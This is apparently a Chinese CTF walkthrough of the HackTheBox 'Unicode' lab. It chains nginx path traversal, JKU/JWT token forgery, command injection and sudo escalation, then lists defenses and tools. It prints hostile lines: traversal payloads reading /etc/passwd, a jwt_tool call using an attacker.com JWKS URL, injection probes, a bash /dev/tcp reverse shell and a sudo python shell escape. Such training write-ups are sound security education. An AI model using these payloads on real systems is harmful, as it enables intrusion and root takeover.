HackTheBox系列之Unicode
字数 1442 2025-08-10 12:17:54
HackTheBox Unicode 环境渗透测试教学文档
环境概述
本次HackTheBox的Unicode模拟环境主要涉及以下技术点:
- Nginx目录遍历漏洞
- JKU (JWK Set URL) 伪造
- JWT (JSON Web Token) 令牌伪造
- 命令注入漏洞
- SUDO提权技术
目标是通过这些漏洞和技术最终获取系统flag。
初始信息收集
- 访问目标网站:https://www.hackthebox.com/
- 使用标准工具进行初始扫描:
nmap -sV -sC -oA initial_scan <target_IP> - 识别开放端口和服务,特别注意HTTP服务
Nginx目录遍历漏洞利用
- 发现目标运行Nginx web服务器
- 测试常见的目录遍历payload:
http://<target_IP>/../../../../etc/passwd - 使用编码绕过可能的过滤:
http://<target_IP>/..%2f..%2f..%2f..%2fetc%2fpasswd - 成功读取系统文件后,寻找敏感信息如:
- /etc/passwd
- /etc/shadow
- 应用程序配置文件
- 日志文件
JWT/JKU伪造攻击
-
在web应用中寻找使用JWT进行身份验证的端点
-
捕获有效的JWT令牌(通常位于Authorization头或cookie中)
-
分析JWT结构:
Header.Payload.Signature -
检查JWT头部是否包含"jku"参数,指示JWK Set URL
-
伪造攻击步骤:
a. 创建恶意JWK Set文件
b. 托管在可控服务器上
c. 修改JWT头部,指向恶意JWK Set URL
d. 使用私钥签名新令牌
e. 用伪造令牌替换原令牌 -
使用工具如jwt_tool简化过程:
python3 jwt_tool.py <original_JWT> -X k -ju "http://attacker.com/malicious_jwks.json"
命令注入漏洞利用
-
寻找可能执行系统命令的功能点:
- 表单输入
- URL参数
- API端点
-
测试基本注入:
;id `id` $(id) -
尝试绕过过滤:
- 使用编码(base64, urlencode等)
- 使用变量拼接
- 使用替代命令分隔符
-
成功注入后建立反向shell:
bash -c 'bash -i >& /dev/tcp/<attacker_IP>/<port> 0>&1'
SUDO提权技术
-
检查当前用户的sudo权限:
sudo -l -
寻找可利用的二进制:
- 具有SUID位的程序
- 不需要密码即可sudo执行的命令
-
常见提权向量:
- 利用编辑器(vim, nano等)
- 利用语言解释器(python, perl等)
- 利用文件操作命令(cp, mv等)
-
如果发现可以无密码执行特定命令:
sudo <command> <payload> -
例如发现可以无密码执行python:
sudo python -c 'import os; os.system("/bin/bash")'
完整攻击链示例
- 通过目录遍历获取配置文件,发现API端点
- 分析API使用的JWT认证机制
- 伪造JKU并生成恶意JWT令牌
- 使用伪造令牌访问特权API端点
- 在API参数中注入命令获取反向shell
- 在低权限shell中枚举sudo权限
- 利用不当的sudo配置提升至root
- 读取最终flag
防御措施
针对本环境中的漏洞,建议采取以下防护措施:
-
防止目录遍历:
- 正确配置Nginx,禁用目录列表
- 对用户输入进行严格过滤
- 使用chroot等隔离机制
-
保护JWT安全:
- 避免使用jku头部,或严格验证URL
- 使用强密钥和适当算法(如RS256)
- 设置合理的令牌过期时间
-
防止命令注入:
- 使用参数化查询和API
- 避免直接拼接用户输入到命令中
- 实施严格的输入验证
-
正确配置sudo:
- 遵循最小权限原则
- 避免不必要的无密码sudo
- 定期审计sudoers文件
工具推荐
-
JWT相关:
- jwt_tool
- Burp Suite JWT插件
-
目录遍历检测:
- DirBuster
- Gobuster
-
命令注入测试:
- Commix
- Burp Scanner
-
提权枚举:
- LinPEAS
- Linux Exploit Suggester
通过以上步骤和技术,可以系统地攻破Unicode环境并获取flag。实际测试中需根据具体情况调整攻击策略。